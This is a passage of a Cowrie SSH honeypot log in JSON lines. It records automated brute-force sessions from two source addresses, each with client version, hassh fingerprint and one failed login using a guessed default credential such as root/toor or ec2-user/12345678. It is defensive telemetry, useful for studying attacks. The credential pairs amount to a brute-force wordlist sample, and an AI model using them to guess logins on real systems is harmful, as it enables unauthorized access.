etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:52.629506Z","src_ip":"192.109.200.78","session":"43e86254b79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:53.100091Z","src_ip":"192.109.200.78","session":"43e86254b79d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:54.183508Z","src_ip":"192.109.200.78","session":"43e86254b79d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41004,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff2883f6835f","protocol":"ssh","message":"New connection: 192.109.200.78:41004 (10.17.0.5:22) [session: ff2883f6835f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:56.266034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:56.270583Z","src_ip":"192.109.200.78","session":"ff2883f6835f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:56.352243Z","src_ip":"192.109.200.78","session":"ff2883f6835f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:56.595786Z","src_ip":"192.109.200.78","session":"ff2883f6835f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:57.680243Z","src_ip":"192.109.200.78","session":"ff2883f6835f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41024,"dst_ip":"10.17.0.5","dst_port":22,"session":"268c03b1db87","protocol":"ssh","message":"New connection: 192.109.200.78:41024 (10.17.0.5:22) [session: 268c03b1db87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:59.617975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:59.626381Z","src_ip":"192.109.200.78","session":"268c03b1db87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:59.707484Z","src_ip":"192.109.200.78","session":"268c03b1db87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:11:59.952918Z","src_ip":"192.109.200.78","session":"268c03b1db87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:01.036250Z","src_ip":"192.109.200.78","session":"268c03b1db87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42102,"dst_ip":"10.17.0.5","dst_port":22,"session":"de1851ceee21","protocol":"ssh","message":"New connection: 192.109.200.78:42102 (10.17.0.5:22) [session: de1851ceee21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:02.921813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:02.925900Z","src_ip":"192.109.200.78","session":"de1851ceee21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:03.007241Z","src_ip":"192.109.200.78","session":"de1851ceee21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:03.259387Z","src_ip":"192.109.200.78","session":"de1851ceee21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:04.344589Z","src_ip":"192.109.200.78","session":"de1851ceee21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42114,"dst_ip":"10.17.0.5","dst_port":22,"session":"7735a253e5c4","protocol":"ssh","message":"New connection: 192.109.200.78:42114 (10.17.0.5:22) [session: 7735a253e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:06.519661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:06.523541Z","src_ip":"192.109.200.78","session":"7735a253e5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:06.604304Z","src_ip":"192.109.200.78","session":"7735a253e5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:06.849880Z","src_ip":"192.109.200.78","session":"7735a253e5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:07.933520Z","src_ip":"192.109.200.78","session":"7735a253e5c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":33982,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a65b0319f95","protocol":"ssh","message":"New connection: 152.32.171.213:33982 (159.203.135.109:22) [session: 6a65b0319f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:08.208514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:08.212446Z","src_ip":"152.32.171.213","session":"6a65b0319f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:08.434992Z","src_ip":"152.32.171.213","session":"6a65b0319f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A12345678.","message":"login attempt [root/A12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:09.335421Z","src_ip":"152.32.171.213","session":"6a65b0319f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42126,"dst_ip":"10.17.0.5","dst_port":22,"session":"0621ad666e07","protocol":"ssh","message":"New connection: 192.109.200.78:42126 (10.17.0.5:22) [session: 0621ad666e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:09.882749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:09.886854Z","src_ip":"192.109.200.78","session":"0621ad666e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:09.968020Z","src_ip":"192.109.200.78","session":"0621ad666e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"12345678","message":"login attempt [ec2-user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:10.216826Z","src_ip":"192.109.200.78","session":"0621ad666e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:10.554093Z","src_ip":"152.32.171.213","session":"6a65b0319f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:11.299062Z","src_ip":"192.109.200.78","session":"0621ad666e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55440,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb742912791a","protocol":"ssh","message":"New connection: 192.109.200.78:55440 (10.17.0.5:22) [session: bb742912791a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:13.256241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:13.263479Z","src_ip":"192.109.200.78","session":"bb742912791a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:13.344761Z","src_ip":"192.109.200.78","session":"bb742912791a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:13.700654Z","src_ip":"192.109.200.78","session":"bb742912791a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:14.784735Z","src_ip":"192.109.200.78","session":"bb742912791a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55450,"dst_ip":"10.17.0.5","dst_port":22,"session":"568fa321c749","protocol":"ssh","message":"New connection: 192.109.200.78:55450 (10.17.0.5:22) [session: 568fa321c749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:16.930396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:16.934241Z","src_ip":"192.109.200.78","session":"568fa321c749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:17.014959Z","src_ip":"192.109.200.78","session":"568fa321c749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:17.381351Z","src_ip":"192.109.200.78","session":"568fa321c749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:18.465749Z","src_ip":"192.109.200.78","session":"568fa321c749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55460,"dst_ip":"10.17.0.5","dst_port":22,"session":"2030d49beb94","protocol":"ssh","message":"New connection: 192.109.200.78:55460 (10.17.0.5:22) [session: 2030d49beb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:20.371059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:20.375934Z","src_ip":"192.109.200.78","session":"2030d49beb94","protocol":"ssh"}
